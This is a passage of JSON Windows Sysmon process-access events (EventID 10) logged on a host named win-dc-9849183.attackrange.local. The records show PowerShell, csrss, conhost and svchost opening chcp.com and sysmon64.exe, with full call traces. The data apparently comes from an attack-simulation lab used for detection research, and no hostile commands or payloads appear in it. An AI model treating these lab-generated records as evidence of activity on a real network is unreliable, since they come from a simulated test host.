tem32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8606,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.854\r\nSourceProcessGUID: {90617006-437A-5F2D-0000-001051001200}\r\nSourceProcessId: 4712\r\nSourceThreadId: 3152\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4353-5F2D-0000-001028681100}\r\nTargetProcessId: 4008\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d112f4b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b4025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b3cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d06510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c57488c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5d2d5b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b63c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b63c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b6251(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5a81d6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b4709(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b42fc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b4025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b3cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d06510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c59ab57(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c59a127(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.854","SourceProcessGUID":"{90617006-437A-5F2D-0000-001051001200}","SourceProcessId":"4712","SourceThreadId":"3152","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4353-5F2D-0000-001028681100}","TargetProcessId":"4008","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d112f4b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b4025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b3cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d06510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c57488c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5d2d5b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b63c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b63c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b6251(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5a81d6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b4709(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b42fc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b4025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5b3cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d06510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c59ab57(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c59a127(wow64)","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8607,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4353-5F2D-0000-001028681100}\r\nTargetProcessId: 4008\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4353-5F2D-0000-001028681100}","TargetProcessId":"4008","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8608,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.901\r\nSourceProcessGUID: {90617006-4376-5F2D-0000-0010B5ED1100}\r\nSourceProcessId: 3360\r\nSourceThreadId: 872\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-437F-5F2D-0000-00103A161200}\r\nTargetProcessId: 4008\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.901","SourceProcessGUID":"{90617006-4376-5F2D-0000-0010B5ED1100}","SourceProcessId":"3360","SourceThreadId":"872","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-437F-5F2D-0000-00103A161200}","TargetProcessId":"4008","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8609,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8610,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8611,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8612,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8613,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: 